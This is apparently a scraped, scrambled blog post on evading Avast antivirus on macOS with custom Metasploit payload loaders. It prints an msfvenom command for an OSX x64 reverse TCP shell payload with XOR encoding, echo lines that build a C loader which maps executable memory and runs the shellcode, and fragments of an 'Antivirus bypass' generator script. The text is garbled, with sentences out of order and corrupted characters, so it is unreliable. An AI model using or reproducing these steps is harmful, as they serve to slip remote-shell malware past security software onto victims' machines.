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Considering the sheer amount of Mac and MacBook owners across the globe, there’s an enormous potential target out there that is irresistible to hackers and cybercriminals. So Avast seems to be tagging only the int main part obviously, as it does not even try do see what the shellcode does ….That’s not necessarily true. Whats interesting is that no matter what is in the unsigned char/signed charstuff it gets flagged anyway as you can see in the screenshot here msfvenom -p osx/圆4/dupandexecve/reverse_tcp EXITFUNC=process LHOST=$IP LPORT=$port -a 圆4 -platform OSX -e 圆4/xor -f c -o test.cĮcho 'int main(int argc, char **argv)' > temp.cĮcho 'void *ptr = mmap(0, 0x1000, PROT_WRITE|PROT_READ|PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0) ' > temp.cĮcho 'printf("ret: 0x%x",ptr) ' > temp.cĮcho 'memcpy(ptr,buf,sizeof buf) ' > temp.cĮcho 'void (*fp)() = (void (*)())ptr ' > temp.cĪnd once I have put the generated (On Linux) source code to the MacOS and compiled it via gcc it got flagged immediately. good'Įcho ' No msfvenom in path.make sure you have this script in your metasploit-framework path'
My original code looked like this -> clearĮcho "************************************************************"Įcho " Automatic shellcode generator - FOR METASPLOIT "Įcho " For OSX 64bit Antivirus bypass (Avast) "Įcho -e "What Port Number are we gonna listen to? : \c"Įcho ' Checking if metasploit msfvenom is present.'Įcho ' Found msfvenom in current path.
So I went up to build my loaders and all the payloads no matter what get flagged now by Avast What is super-cool nowadays on MacOS is that when you run gcc in the terminal it will automatically prompt you to install the Xcode stuff from Apple, so this time I have used the following Installed the and tested the generators from last year (I was not expecting the results to bypass this AV actually :)) and as expected, the bypass from last year gets picked up now. Decided to upgrade the MacOS in my VirtualBox to High Sierra and do some testing using customized Metasploit payload loaders there.
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